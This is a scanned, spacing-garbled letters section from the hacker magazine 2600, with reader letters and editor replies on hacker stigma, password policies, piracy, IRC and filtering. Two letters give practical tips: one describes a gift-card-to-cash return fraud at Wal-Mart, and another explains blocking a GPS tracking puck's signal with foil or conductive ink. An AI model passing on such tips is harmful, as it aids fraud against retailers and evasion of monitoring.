came to us in a registered letter from India from some
one who was obviously looking at the Fifth HOPE web
site. True to his word, he sent us his "bio-data " which 
was his family history and date of birth along with every 
email address and handle he's ever used. We ought to 
drop the whole hacker angle and just set up a religion. 
We already own hope. net so we're halfway there. And if 
we can get testimonials like this without even trying, 
imagine what  we could do if we really put our hearts 
into it. 

Adventure 

Dear 2600: 
Hope I 'm doi n g  this rig ht. This is the first ti m e  I've 

ever sent in an a rticle. This i s  a rea l life experience that 
I went through just today and  I 'm su re you' l l  fi n d  it i n 
teresti ng .  

I wa lked i nto Wal-Mart with some clothes,  pu r
chased as a gift, that were the wrong  size. The lady be
hind the counter asked for my recei pt, which of course I 
d idn 't h ave. I 'm i n  the habit of wri n k li n g  them up and  
th rowi n g  them away on  the way  out  of the store. She  
told m e  that  because my pu rchase was  over $ 2 5  a nd  I 
did n 't h ave a receipt s he  couldn 't give me cash .  She  
could o n ly give me  a Wa l-Ma rt gift card. I p rotested to 
no avai l a nd  even spoke to a manager. All I kept getti n g  
w a s  "store po li cy, nothi ng  w e  c a n  do . "  I a sked " C a n  I 
pu rchase somethi ng with this gift card, b ri n g  the item 
and the recei pt up to the desk, and get my money 
back?" No one  seemed to be su re on this point so I gave 
it a try. It did n 't work. The computer knew the item was 
pu rchased with a gift ca rd and it wouldn't give m e  cas h .  
I conti nued my a rgument  a nd  kept getti ng  a resound ing  
"No ! "  Out of anger  some i napp ropriate la nguage was 
used and I was asked to leave the store. I headed across 
town to the other  Wal-Ma rt, gift ca rd i n  hand ,  hopi n g  
t o  d e a l  with a fresh g roup  o f  people w h e n  t h e  idea 
struck  me .  I wa lked i nto the second  Wa l-Ma rt, went 
straight  back to e lectronics, and bought a DVD fo r a lit
tle over the worth of my gift ca rd . I took said DVD out
side, opened it, scratched the crap out of it, and  
brought it back  i n .  I then exchanged the scratched DVD, 
pu rchased with a gift card, for a new DVD that was p re
sumab ly unscratched .  The lady at the cou nter asked me 
for my o ld recei pt, g la n ced at it, and th rew it away. She  
sca n ned the item ,  pushed some buttons ,  sca n n ed the 
new item ,  then handed me  a new recei pt. 

I wa lked a round  the Wa l-�1 a rt for a whi le then went 
back to the desk.  The sam e  lady he lped me. I said I 
found  a more fitti ng  present at a different store and  
asked for my money back .  She  took  my  recei pt, sca n ned 
it a nd  then the item ,  a nd  ha nded me  the p rice of the 
item i n  cash .  As a footnote, there is a lways a way 
a round  the system and  losi ng  you r  head and  yelli n g  at 
the Wa l-Ma rt emp loyees i sn 't it. Even if they a re i n com
petent jerks .  

Tha n k  you for readi n g  my a rticle. I 'm su re you' l l  
fi nd  it usefu l. I hope it 's fitti ng  for you r  magazi ne .  
Please fee l  free to  correct a ny spelli n g  o r  punctuation  
erro rs I may have missed a nd  change the format to  fit 
your book .  As a side n ote I enjoy you r  book  i m m ense ly 
and  wi ll ho ld no i ll wi l l  if my a rticle is not used.  

Drahcon Man 
We have to wonder why if the original item was the 

wrong size you didn 't simply exchange it for one that 
fit. Regardless, it's a fascinating tale but rather short to 
be considered an article. And it doesn 't sound like 
there's a whole lot of detail you could add in order to 
stretch it out to six pages. So that's why it wound up 
here in the letters section instead. We must say though 
that you seem to be a difficult person to shop for. Wal
Mart should probably be grateful people aren 't giving 
you gifts that are worth a lot since you would then have 
to destroy something of equal value in order to get jus
tice. 

Stupid Stuff 

Dear 2600: 
I am a sysadmin  at one  of the la rger school  corpo

rations  i n  a midwestern state. I run security, run  the 
fi rewa ll softwa re, do  backups, i nvestigate i ntrusions ,  
give advice, etc . ,  etc. Typica l sysadmin  stuff. I keep a 
subscri ption  to you r  magazi ne.  I fi n d  little resistance 
from peers o r  admin istration  about keepi n g  a copy 
a round .  

I a m  someti mes confronted with students who a re 
considered hackers. A few yea rs ago I was i ntroduced to 
a young  man  (we'l l  call  h im Tom ) .  Tom was a rea l lo ner  
of a kid and  seemed ki nd of down . H e  had been caught 
"hacki ng "  some years  before. As we a ll know these types 
of evi l " hackers" a re often just misunderstood .  After his  
hacki n g  i n cident his punish ment was to not use a com
puter for two yea rs. 

The enti re school corporation ,  from the elementa ry 
schools to the vocationa l  education  department, knew 
about this kid .  H e  had a "superhacker" reputation .  He 
sta rted hang ing  a round  my office and  talki n g  with me. 
I work i n  a n  environ ment that wou ld a llow h im to have 
access to some big ho les. I had admin istrators call me  
and  wa rn  me  that  it m ight  not  be safe to  have th i s  kid 
hang ing  a round  consoles and logged i n  mach ines .  They 
were scared. 

When I was told what this "ha cker" had  done,  I pro
ceeded to laugh  hysterical ly unti l tea rs were pouri ng  
out  of my  eyes - a ll to  the b la n k  a n d  expression less 
sta res of the peop le who told me about it. What a 
bunch .  You want to know what he did? He reset the 
p roxy setti ngs  i n  N etscape so it did n 't go through the 
fi lter system I was testi ng .  Yea h !  What a hack! This kid 
got pun ished and derided for chang ing  the proxy in 
Netsca pe !  What a bunch of morons .  

I have found  school  corporations  so tota lly i nept at  
und erstand ing  a nythi ng  to do with curiosity or  discov
ery. It's a sad thi ng  when a kid li ke this has the biggest 
reputation of hacki ng  of anyone  in the student body. I 
have conti nua lly been disgusted with thei r  treatment of  
students that "hack . "  They just want to enfo rce thei r  
petty little ru les so they wi ll seem validated b y  thei r  
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subsequent authority. 
Shou ldn 't educators understan d  the thi rst for 

knowledge? Be lieve me,  they don 't !  Their defi nition  of 
obtai n ing knowledge is so nar row that it o n ly covers 
goi ng  to class .  God forbid we could lea rn anythi ng  on 
our own! Do that and you ' re a hacker !  

I have mentioned to my superio rs that I wou ld li ke 
to take the kids that get caught hacki n g  a nd  interview 
them,  then put them to work. Thei r  a n swer: That wou ld 
be rewardi ng  misbehavio r. Instead they run a rod up  
thei r  butt and  hang  them li ke a trophy for the rest of  
the student body  to  see. 

H ey teachers,  get a c lue !  If you don 't li ke computers 
and a re sca red by the kids who know 10k times more 
than you, retire now! You ' ll be lengthening you r  life 
a nd  m a ki n g  life better for teenagers who actua lly need 
to lea rn .  

G Man i n  t h e  H ole 
The biggest defense against this kind of stupidity is 

to simply get the details out to the public. By doing 
that  and by reaching out to this kid, you 've helped out 
on many levels. We can only wonder how many people 
have wound up taking a bad road in life because so 
many morons have told them they were guilty of some
thing. Idiots in authority must be challenged at eveIY 
opportunity. 

Dear 2600: 
Has  a nyone  e lse noticed the recent su rge in stupid 

password po licies? In the past two months I've been 
confronted by cou ntless 8-10 a lpha n u meric  only pass
word systems .  My work password once kicked ass with 
speci a l  cha racters and  spaces. Now it has been man
dated to  be  lame .  I opened a hosti n g  account recently 
with the sa me  requi rement: 8-10 a lphanumeric,  no spe
cia l  cha racters . Did the whole world recently decide  to 
subscribe  to the weakest standard of authentication?  I 
mean ,  knowi n g  that the length of a password is 8-10 
cha racters and a lphanumeric  ma kes it that much easier 
to crack. And  to m a ke things worse, the last p lace I had 
to change my password not o n ly was 8-10 a lphanu
meric, but the fi rst cha racter had to be a letter !  Way to 
go,  guys ! You 've just made it one  n otch easier fo r scri pt 
kiddies.  At this rate, pretty soon we' l l  be usi ng  the 
sa me  lam e  passwords they had on the movie Hackers: 
God.  

Alop 

Dear 2600: 
Not su re if you care, but thought you shou ld know 

that someone is sca n ni ng  you r  back issues and selli n g  
t hem  on  eBay. 

M 
People who do things like this are pure slimebags 

who not only want to rip us off but feel they should 
make a profit doing so. We trust our readers won 't help 
them. 

Dear 2600: 
My friend a nd  I have been readi ng  2600 for a whi le 

now. He had recently come across a torrent site. I m ust 
ad mit I use torrents frequently but what rea lly i nfu ri
ated me was that there was a torrent fo r 2 2 : 1 .  the 

sp ri n g  issue of 2005 .  Who wou ld do such a moronic  
thi n g  as up load 2600 to a torrent site, let a lone  sca n 
each i ndividua l  page.  That rea lly ticked me off. 

XSnidalX 
There 's a veIY big difference between reprinting an 

article and completely ripping us off by duplicating an 
entire issue and redistributing it to the whole world. 
Unlike the record companies, we're not pricing things 
out of the reach of our customers so the "moral argu
ment" doesn 't even fly here. At best. this is someone 
who is veIY misguided who thinks that eve(Ything 
should be free. If they can convince our creditors to live 
this way, we'lljump right on board. The other possibil
ity here is that this is someone who thinks we're some
how hypocrites for engaging in free speech and daring 
to sell a magazine. We never understood that  logic and 
the various people over the years who have spouted it 
have usually turned out to be entities who just didn't 
want  us around for one reason or another. As we don 't 
have advertising, the only two factors in the equation 
are us and our readers. If the latter stops supporting 
the former, our existence comes to an end. It really 
couldn 't be simpler. Most people understand this as 
witnessed by the occasional letters we get from those 
alerting us to such things. 

Dear 2600: 
I have been a fanatica l reader  of you rs for a couple 

of years now and  came  upon a p rob lem recently. I a m  
currently i n  basic trai n ing  a t  Fort Leona rd Wood i n  Mis
souri .  After missi n g  a couple of issues I wrote home to 
see if my pa rents wou ld send m e  the ones I had missed . 
They ob liged a nd  sent them to me .  However, when I 
opened the envelope here they were taken from me .  I 
was told that it was a lmost i llega l  what my pa rents did 
and that my d ri ll sergeant i s  goi ng  to have a fie ld day 
meeti ng  them. I a m  now watched every ti me  I 'm a round  
any electronic device, especia lly computers, a nd  I a m  
hazed a ll t h e  ti me  for bei n g  a " hacker" a nd  a n  evi l, bad 
person .  It's a shame people don 't understa nd that the 
o n ly crime  I 've ever committed i s  that of curiosity. 

Death by Microsoft 
And these are the values they're going to be expect

ing you to defend? Maybe it's time we sent eveIY drill 
sergeant in the countIY a "2600" gift basket. After all, 
how many of them could there possibly be? 

Observations 

Dear 2600: 
I was watchi ng  my dad pay bi lls one day (fun huh ? )  

when  out  o f  nowhere t h i s  ad popped up .  I t  advertised a 
way to "outsmart the hackers . "  I consider this yet an
other  i n dicator of the media 's misguided approach a nd  
the widespread i gnorance about us hackers. I k now  I 
a m  probab ly the mi llionth person to mention  this but 
it 's a lways good to have you r  name i n  p ri nt. 

Monty G. 
And while this is also an interesting stoIY, we sure 

hope people aren 't sending in stuff just to see their 
names in print. We reserve the right to mangle or oth
erwise mock the name of anyone we suspect of doing 
this. 
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Dear 2600: 
I live in Ch ina ,  la nd  of ra mpant govern ment restric

tion  of the web. Most of the good free p roxy sites a re 
b locked as well as tons  of other i nteresti ng  sites that I 
ca me to know and  love befo re life as an ex-pat. Even 
more sad is that lots of Ch inese people don't believe 
that their government is b locki ng  sites. But back to my 
point. I was search ing  o n li ne  usi ng  the Chi n ese versio n  
of Google w h e n  I noticed a "tra ns late" li n k  after the 
site. Su re enough,  this leads you to a Google i nterna l  
URL  contai n ing  " h l=zh-CN"  wh ich  di sp lays the b locked 
site tra ns lated i nto Chi n ese !  The " h l=zh-CN"  means  Peo
ple's Republic  of Ch ina  Ch inese. Su re enough ,  switchi ng  
it to  " en "  gives us t he  site tra ns lated from Eng li sh  to 
Eng li sh .  So a ll I have to do is search fo r a restricted 
page and  with a little U R L  man ipu lation  I've got my 
site, p roxied by Google .  

By the way, I moved here i n  the summer  of 2004 ,  so  
the fi rst i ssue  I read over here was  Fa ll 2004 .  I swea r 
you guys knew I was comi ng .  And how about savi ng  the 
Spri n g  2005 issue for a tri p back o n ly to get stuck in 
NYC and  end  up  readi ng  it o n  the subway? Creepy. 

Mattington 
We're always trying for that creepy angle. 

Dear 2600: 
I h ave a ra ndom piece of i nformation  that I fi gu red 

someone might fi nd  i nteresti ng .  I was in Barnes and  
Nob le the other day  and  n oticed somethi ng  odd  about 
thei r  machines .  The ones I 'm spea ki ng  of a re the Dot 
One machi nes where you scan a bar code and it a llows 
you to sa mp le a CD. My b rother  was tryi ng  to i r ritate me 
by searchi ng  fo r Robi n Wi lli ams .  When he  clicked on the 
a lbum they had li sted fo r him,  the system crashed com
p letely. I went a round  and  tried this on  a ll the sca nne rs 
and  it worked each a n d  every time .  It doesn 't do it with 
any of the other  a lbums ,  j ust that one .  The most i nter
esti ng  part i s  it a llows you to view what the device is 
runn ing  and other such i nfo rmation .  It even has the 
option  to access the BIOS .  And when it resets it goes 
i nto a setup progra m .  I never  fi gu red out how to do 
a nythi ng  else with it .  

ch3 rry 
We always suspected Robin Williams was capable of 

causing significant mayhem on all sorts of platforms. 

Dear 2600: 
In response to Black_Angel 's question  in 2 2 : 3 ,  

maybe t h e  question  i sn 't w h o  t h e  man  on  t h e  cover i s  
but what  does  he  represent? Maybe what  is important is 
the symbo lism of a si ng le man  who is tryi ng  to look  in
conspicuous and  is traveli n g  the world with a briefcase 
with a biohaza rd symbol  on  it. Now that symbol  could 
j ust be a reference to the band  Biohaza rd but I 'm p retty 
su re that's not it. So back to the topi c at hand .  What 
does the guy sta nd  for, what does he  represent? Is he  
supposed to  be th i s  so-ca lled "terrorist" that  ou r  gov
ernment (America 's  to be exact) has led us to believe is 
out there and  is goi n g  to get us on an u n known date at 
an u n known location?  Is h e j ust a man  tryi ng  to get the 
word out o r  tryi ng  to get n oticed? O r  have the last few 
covers been a representation  of how our  mainstream 
media misleads us i nto looki ng  at "the wrong  hand i n  a 

magic trick" or j ust the latest mainstream media attack 
o n  hackers and  a l l  that they a re afraid of? Also, o n  the 
cover of 22:3 there is a shadow above the low hover 
platform of what I 'm guessi ng  is a cruise ship, yacht, or 
some sort of luxu ry vessel, judgi ng  by the lounge  chairs 
and  ten nis/basketba ll cou rts i n  the background .  I have 
come to the conclusion  that this shadow is that of the 
fa mous McDona ld ' s  fast food sign .  So what does this 
mean? Has  McDona ld ' s  taken over? Is McDona ld ' s  fund
i ng  these a lleged terro rists? Is Fast Food i n  genera l  tak
ing over or  is it up  to no  good? I guess these a re the 
tru ly im porta nt questions  that we shou ld be aski n g .  I 
just checked the 2600 website after writi ng  a ll of this 
and looki ng  at the new cover of 22:4 (I don 't have 
enough  cash to buy it yet) ,  I thi n k  my p revious state
ment is true and  to expa nd  on it maybe the McDona ld ' s  
sign represents " Big  Busi ness" a nd  corporations  and 
the "terrori st" is  the government and  the devi ce bei ng  
a rmed on  the p la ne  is their weapon against the under
g round  and  the hacker com m u nity. But who knows? I 'm 
just a 16 yea r o ld h igh school  student. 

WiseCracker 

Dear 2600: 
I rea lize that no one  is perfect. When you have a 

la rge group of people there is a lot of imperfection . 
When you run a bus iness, however, the g la ri n g  im per
fections  shou ld not i n clude prici n g  th ings stupidly. For 
i n stance, the loca l Pizza H ut p ri ces things goofy. One  
o rder of cheese sticks (which i n cludes five sticks and  
one  mari n a ra sauce) comes to  $3 . 68  a round  here.  An 
i ndividua l  order of cheese sticks (which i n cludes th ree 
sticks and  one  mari n a ra sauce) comes to $1 . 60 .  That's 
less than ha lf. Two i ndividua l  o rders comes to rough ly 
$3 . 38 .  A little math and  you ' ll conclude that you can 
save $.30 if you get two i ndividua l  o rders i n stead of one  
si ng le o rder. Not o n ly that but  you  t hen  get  an  extra 
stick and  an extra sauce. Extra sauces cost $ . 3 5 .  You ' re 
defi nitely savi ng  money. This goes to show how much  
money you ca n save by aski ng  stupid questions  li ke 
"what if I want two i ndividua l  orders i n stead of one  si n 
g le o rder?" I t  a lso shows how easy it is to  make a stupid 
math mistake a nd ,  when it becomes pub lic ,  potentia l ly 
lose money. Hacki n g  i sn 't a lways about techno logy. 

Zachary 
Of course it's also possible that their cheese sticks 

suck and getting people talking about them like this is 
all part of the master plan to have lines out the door for 
the individual orders which nobody would have wanted 
in the first place. 

Dear 2600: 
I am a 16 yea r o ld ma le,  currently i n ca rcerated in a n  

a ll ma le j uveni le treatment faci lity. A s  you  ca n imagine ,  
bei ng  here i s  quite bori n g  and  I sti ll have fou r  to six 
months ahead of me. Most of the people here a re the 
"cool" kids .  You know, the ones that li sten to rap musi c  
and  smoke weed . The  ones t hat  thi n k  we're " losers" be
cause we sit i n  front of our monitors whenever possible. 
Well , tu rns out quite a few of them respect me .  I was 
quite surprised to see that a few people picked up  my 
issue ( 2 2 : 1 )  and read it. When I got 2 2 : 2 ,  people were 
fi ghti ng  over who got to read it fi rst after me. Pretty 
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crazy, rig ht? A few people actual ly app roached me a nd  
asked if I ' d  teach t hem  about computers a n d  stuff. So I 
started with basic h a rdware, basic TCP/IP stuff, etc. The 
thi ng  about it i s  I 'm j ust so shocked that the people 
we'd expect to n ot accept us actua lly do .  Hopefu lly this 
trend keeps up  and we start becoming  more genera lly 
accepted . J ust thought it wou ld be nice to sha re my ex-
periences .  

Undefined 3 2  
It's not realLy a trend, just that part of humanity 

that alLows us to accept people for who they are and for 
what we can learn from them. It probably wasn't the 
lesson you were sent there to learn but it's a good thing 
nonetheless. 

Critique 

Dear 2600: 
It would seem many of you r  recent a rticle a uthors 

have been rei nventi ng  the p roverbia l wheel. Both 
Eprom J ones '  a rtic le in 2 2 : 3  entitled "A Ra ndomizi ng  
Wi Fi MAC  Add ress AP Hopper" as  well as  Da niel 's a rticle 
"The Ancient Art of Tun ne li ng ,  Rediscovered" describe  
the creati on  of tools that  have existed i n  one  fo rm o r  
another for yea rs. 

Daniel states i n  his a rtic le that "after a search of 
the net fo r a tool to do the job turned up n othing ,  I de
cided to write my own . "  I have to wonder which " net" he  
happened  to be sea rch ing  because performi n g  a search 
on  any of the Internet's majo r  search engi nes (Google, 
Yahoo,  etc . )  fo r the basic subject keywords of his a rti 
cle, namely "ICMP  tun ne li ng , "  tu rns  up a n u m ber of vi 
ab le tools, most nota b ly ICM PTunne l  a n d  PINGTu n n el. 
Also, a lmost a decade ago back in 1996 ,  Phrack #49 
was released i ncludi ng  an article by demon9  entitled 
"Project LO KI: ICM P Tunne li ng . "  

In regards  to  Eprom Jones' MAC  address changer, 
the G N U  macchanger  has been avai lab le with a wide 
ra nge of featu res si nce May 2004. 

I don 't want to discredit the merit of the subjects of 
these a rticles, as  both maski ng  your ha rdwa re address 
and tun n eli ng  you r  traffic through  a llowed p rotocols to 
thwa rt traffic contro ls a re both tried a n d  true tools fo r 
the o l' tech n ique too lbox. H owever, both a uthors seem 
to have gone th rough  much mo re troub le than was re
quired to accomp li sh  their goa ls .  I hope by responding 
here I have at least provided readers who a re u nfami li a r  
with these techn iques a faster, o r  at least more versa
ti le path , to success si nce most of the existi ng  too ls to 
do these jobs a re a lready fai rly mature a n d  feature-ri c h .  

Fi na lly, a n ote i n  regards to  Eprom Jones' a rticle. 
Eprom fai led to mentio n  that the abi lity to change  the 
MAC add ress fo r a n  i nterface genera lly depends o n  the 
d river used. Most Li nux  i nterface d rivers I have come 
across wi l l  a llow you to do this,  h owever there a re some 
that  wi ll n ot ( most n otab ly fo r some Wi Fi ca rds ) .  Read
ers attem pti n g  to use this techn ique  shou ld verify that 
the i nterface d river they a re usi n g  p rovides this fun c
tiona lity. 

I) ruid 
It's important to note that while such information 

may indeed have been available in other forums, it's 
not always a bad thing to print a fresh explanation or 

how-to. We always have fresh new readers joining us 
and sometimes that means printing things that older 
readers already know and understand. That said, it's im
portant for our writers to make sure they're not simply 
rehashing something old with no new content or per
spective. 

Dear 2600: 
In the letters section  of 2 2 : 3  the editor responded 

to a reader 's message,  sayi ng  "The Jaschan sentence . . .  
won 't make t h e  n et a ny less secure. Compa nies releas
ing products with a l l  ki nds  of ho les and an uned ucated 
consumer  base wi ll be the ones responsi b le fo r that. " 
That is li ke sayi ng  the crim ina l  with a g un  roa ming the 
neigh borhood ra ndom ly shooti ng  people is n ot respon
si b le for the ca rnage.  The people a re responsib le fo r 
leavi ng  thei r  h ouses without body a rmor; natu re is re
sponsi b le for n ot maki n g  people bu lletproof. 

I app laud  2600 and  this com m u nity for their pu rsuit 
of knowledge. B ut advocati n g  o r  excusing  the use of 
that knowledge to cause destructi o n  i s  more than i rre
sponsi b le .  It is despicab le .  

S H R  
We stand by our  conviction that prison (and in  this 

case the suggestion of the death penalty) won 't solve 
the problem. There's a very big difference between ad
vocating destructive behavior and encouraging precau
tions so that users wilL have some kind of defense 
if/when someone does something stupid. We see far 
too little of the latter. 

Responses 

Dear 2600: 
This letter is in response to Matt D reyer from Son

icWALL i n  the 22 :4  letters section  (page 34) :  
Wel l  fi rst off M r. D reyer, n ot once did I ever say a ny

thi ng  about cracki ng  the hash  fo r the password. I i nter
cepted it in tra nsit to the server so it would n 't matter if 
I had  the hash o r  not. The same thi n g  could have been 
accomp lished with a key logger o r  somethi ng  li ke that.  
I thi n k  you tota lly missed the point of the a rticle. 

I see two major  flaws with your Viewpoi nt system .  
Fi rst. t h e  admi ni strator account  m ust remain  Ad min ,  s o  
i f  I were t o  i n stall a key logger then a ll I wou ld have to 
do i s  wait fo r the admi nistrator to type Admi n ,  then 
whatever, and I would have a possi b le password fo r the 
Viewpoi nt server. Second ,  a n d  most i m portantly, and 
a lso the who le point  of the a rti cle, is  that from there I 
can log o nto the SonicWALL  system without any fu rther 
a uthenti cati o n !  This is the flaw, n ot the hash, not a ny
thi ng  else. O n ly this .  This i s  what I wanted to tell peo
p le .  You r  hash  is secure, but the fact that I ca n bypass 
a ll of this and get to the SonicWALL with very little ef
fort is extremely i n secure. I would try readi ng  a little 
closer before you pass judgment a nd  try to make me out 
li ke a fake j ust because you ca n 't  admit that you g uys 
have one little bug .  

I a m  i n  n o  way wanti n g  your stuff to  get  compro
mised for i llega l  pu rposes, b ut I felt this was a good 
way for you to n otice this .  I rep lied to your email with 
no  response from you.  Therefore I would assume that 
you did n 't care what I had  to say, o n ly that people 
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thought I was a li a r  a n d  that your system was the most 
secu re thi ng  on the p la net. Obvious ly you a re mista ken .  

Dear 2600: 

Best Regards, 
KnlghtlOrd 

In response to Chad in 22 :4 ,  I wou ld li ke to say the 
fo llowing :  

By  connecti ng  to  the 2600  IRC  network, you  ag ree 
to the ru les of the network as you do on  any IRC net
work. You a re a lso greeted with the M OTD, (message of 
the day) which clea rly states that "This server, its staff, 
a nd  the people hosti n g  it a re not responsi b le for the 
content that passes th rough  this server. " That basica lly 
means  if someone's bei n g  an assho le to you,  it's not 
2600's problem .  You said you joined #2600 "expecti n g  
knowledge aboundi ng . "  J u st so y o u  know, with t h e  ex
ception  of some support n etworks (such as Freenode) ,  
IRC i s  basica lly a pa rty li n e  where people ca n BS and 
ta lk  about whatever they want. I frequent a video game 
IRC channe l  a lot a n d  very ra rely i s  there discussion  of  
video games .  

You know, it is  quite possi b le that  the person  who 
g reeted you with the " shut the f* * *  up  o r  go away" 
message was either havi ng  a bad day o r  bei ng  sa rcasti c  
at the moment. Also, remember, when people a re o n  
the Internet, there wi ll be  assholes. Si mp le as that. 
Peop le ta ki ng  advantage of havi n g  a hostmask and be
ing a dick to someone beca use thei r  i nfo is hidden .  To 
quote a fellow member  of a fo rum I frequent, "This is 
the Internet. Anonymity b ri ngs  fo rth assholes . "  So here 
is what I have to say: Either  suck it up a nd  deal  with the 
flames si nce everyone  sta rts somewhere o r  just stay 
away from IRe. And with the way you responded to your 
experience,  I 'd say stick  with the second  opti on .  

Ph uzion 
For the most part we agree although assholes 

shouldn 't be toleratedjust because it's easy for them to 
exist. You can improve the environment with a little de
termination. But part of that is going to involve not 
taking the whole thing too seriously. 

Dear 2600: 
This is concerni ng  Chad ' s  letter in 22 :4 .  You ad

d ressed the idea that not o n ly a re you not there to 
baby-sit whomever i s  o n  the IRC channel  but that i n  a l l  
li keli h ood the person  who was  do ing the slaggi ng  was 
well be low the no rm .  You did, however, fai l to menti on  
t hat  those of us who popu late t h i s  I RC  cha nne l  a re fa r 
from a nythi ng  that Chad described .  Indeed,  those of us 
from the Ann  Arbor conti n gent a re genera lly genia l  a nd  
fri end ly. Please tell C h ad  that fo llowi ng li n ks from your 
own website to the Michiga n 2600 i n formation  page 
wi ll give current i nfo , di rections ,  contact i nfo , and  up
to-date details. This  letter from Chad wi ll give those 
who have n ever had  contact with us a sm udged versio n  
of mi2600.  W e  a re happy, cheerfu l people who promise 
to give you back your u nderwea r when we a re done with 
it! 

Simon Jester 
The only comment he made about "2600" people in 

Michigan and, by extension, the #mi2600 channel was 
that nobody was there. His critique was aimed at the 

more general #2600 channel. It would be great if all 0 
the geographic "2600" channels were filled with the 
kind of people you describe. For those interested, in or
der for new folks to find you, we ask that  you follow the 
standard format  for a channel name of #xx2600 where 
xx is the two letter state abbreviation inside the United 
States and #2600yy where yy is the two letter country 
abbreviation outside the States. Of course, for all of 
this to work, it's vital that you use our IRe server at  
irc. 2600. net. 

Dear 2600: 
This letter is in response to an "a rti cle" written by 

The Pia no  Guy in 22 :4 .  Bei ng  a fellow n etwork admin ,  I 
can defi nitely relate to what you a re sayi n g  about ru les 
bei ng  necessary in a corporate or bus iness envi ron
ment. H owever, what  I ca nnot relate to  i s  why you 
chose to write this bitch session  and send it to 2600. 
What surprised me even mo re is the fact that the 2600 
team decided this a rti cle was fit fo r pub li cati o n .  Per
sona lly, I don 't know of a ny "hackers" who thi n k  ru les 
a re harsh a nd  u n necessa ry, but mere ly look for ways 
those ru les ca n be compromised in o rder  to better  se
cure a network envi ronment. If you too k  ha lf as  much  
ti me doing th i s  i n stead of whini ng  about your job 
(which  you get paid to do and  a re do ing by choice) ,  
maybe you wou ld n 't have to worry about " ha ckers" tak
ing advantage of your envi ron mental sho rtcomings .  
Lest we forget the same people who a re consta ntly 
push ing your boundaries a re the sa me  people who give 
you job secu rity. S hut up  a nd  do you r  job ,  a n d  quit writ
i n g  poi ntless a rticles about things we a ll know and  
loathe.  T he  p age  space could have been  u sed  to  teach 
and  not to scold .  You shou ld destroy the computer you 
typed the a rticle on  a nd  any reader who owns a copy of 
that mag shou ld have enough sense to ri p those pages 
out and burn  them. Thanks fo r the "i nformati o n . "  

aztek 
We know many people who think the rules are 

"harsh and unnecessary" and this article served as a 
window into this subject from a different perspective. 
By the way, "shut up and do your job " would make a 
good subtitle for the masthead of a magazine that's the 
complete opposite of 2600. 

Dear 2600: 
In an swer to Sab's letter in 22 :4 ,  the stra nge  fi les 

he i s  seei ng  a re the resu lt of a worm which spread back 
i n  2001 ! Some people j ust a ren 't very smart when it 
comes to desktop secu rity. 

Actua lly, there a re a few different worms.  The origi
nal code appeared in one version  of the fa mous  Melissa 
and was copied i nto other wo rms .  It is conti n ua lly be
ing modified and upgraded.  

The one  thi ng  that they a l l  have i n  common is that 
they have a bui lt-i n ,  very p rimitive server for either  
G n utella o r  FastTrack ( LimeWi re and  Kazaa ! ) .  Although  
it otherwise acts as  a p roper node i n  the network, this 
server responds  to every si n g le sea rch query that goes 
through  it, tryi ng  to trick users i nto down loading the 
worm. Some of the n ewer ones a lso mimic  popu la r  fi le
names .  The most advanced versions  even have fi lesize 
paddi ng  so that the fi le looks more legitimate. SUppos-
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edly there a re a lso some polymorphic  ones out there.  
As of late J a n uary 2006,  there have a lso been un

confi rmed repo rts of what  appears to  be a si m i la r  worm 
attacki ng  the M UTE fi leshari ng  n etwork. As a M UTE user 
I have yet to see one  of these. 

This i s  ( p robab ly) not a n  atta ck by * *AA. And  most 
of those "i n on it" probably a ren 't. 

Alexei Udal 

Dear 2600: 
The letter in 22 :4  from Ben ,  a h igh  school  student 

i n  the Atla nta a rea ,  stated that he  was surfi n g  from the 
school's computer la b and was p revented from access
ing 2600.com because it was b locked as  "Crim i na l  
Ski l ls . "  

I work  fo r a company that  ma kes a web fi lteri ng  
product fo r schools a nd  busi nesses. I had  persona lly 
categorized 2600.com as "Computer/Internet" several  
years ago .  When I saw that letter, I thoug ht, "Oh ,  I 
hope that's not ou r  product."  I checked today a n d  one  
of the other tech nici ans  had changed the category to 
"Hacki n g . "  That maps back in o lder  versions  of the 
product to "Crim i na l  Ski lls . "  I changed it back to "Com
puter/Internet," but there's n o  telli n g  how long that 
wi ll last. 

So in this case, it's not the school  that is at fau lt. It 
was ou r  product a n d  I 'm sorry about that. Of cou rse, 
Ben ' s  school  could be usi ng  one of the other fi lteri n g  
products so t h i s  m i gh t  no t  he l p  h im .  B u t  I 'm g lad  he  
gave me  a reason to  check  a n d  f ix  it i n  ou rs .  

Toots 
We're fortunate to have people like you in these 

companies who can do something about such injus
tices. Let's hope it makes a difference. 

Dear 2600: 
The guy From BC in 2 2 : 2  who works for Te lus could 

keep the G PS from getti ng  satellite sig na l  by si mp ly glu
ing a lum i num  foi l over the hockey puck .  A pic pan 
seems to be overki ll. Cut the foi l ca refu lly and paint it 
the sam e  color a s  the disc. If the puck is b lack,  some 
pai nts that a re dark  i n  color  have metal  pi gmentation  
o r  ca rbon that  wou ld knock  down the  G PS si gna l  quite a 
bit. You could use a conductive i n k  pen that's sold at 
Radio Shack .  When it d ries, paint over that with the 
same color paint or  ma rker as the puck.  

It ca me  to my attention  that there a re a few out 
there i n  a simi lar  situation  as myself who a re wanti ng  
to  hear  Off The Hook via WBCQ on  the shortwave band .  
Actua lly, there i s  a lot more to  li sten to  on  shortwave. 
The news from a lternative media outlets i s  much  better 
than  the biased crap on TV. Also, there a re some good 
techno logica l s hows, a lthough  not as good as OTH 
(yea h ,  I 'm sucki ng  up)  but it'll help those of you on  the 
i nside keep up  with techno logy. Also, a lternative talk 
shows. I h igh ly recommend  the Alex Jones Show on  
WWCA, 5050 Khz Monday through  Friday 10 pm  to  1 am .  
Peop le i n  the free society shou ld li sten as well, wake 
up, and sme ll the coffee. 

To pull off this hack, you need an a n a log AM/FM 
Wa lkman  o r  other radio .  You must make su re the AM ra
dio works properly. To check this,  make su re you ca n 
pick up va rious  AM stations  across various  poi nts of the 
d ia l  later i n  the evenings .  If  you ca n 't pick up  lots of 

stations ,  you r  " loopsti ck" a nten na is da maged o r  the 
radio i s  not fu lly u p  to the designed specs .  It cou ld a lso 
be that you ' re in a n  underground  or  very well shielded 
cel l .  A d u ngeon . Not good .  This hack  wi ll n ot work well 
with digita l radios, as the osci llator that runs the clock 
and LCO display creates noise that keeps you from hear
i ng  anythi ng .  

There a re many  different radios s o  I ca n 't tell you 
exactly how to take it apart. I can o n ly tell you to ta ke 
out the screws ho ld ing  the cover together a n d  gently 
p ry it apa rt. Once you have it open ,  look  for the loop
stick  antenna  bar. It is a b lack  recta ngu la r  bar  with very 
fi ne  wi re tightly wou n d  on  it. This loopstick has two 
cords wou n d  on it, one  fo r the  radio osci l lator ci rcuit 
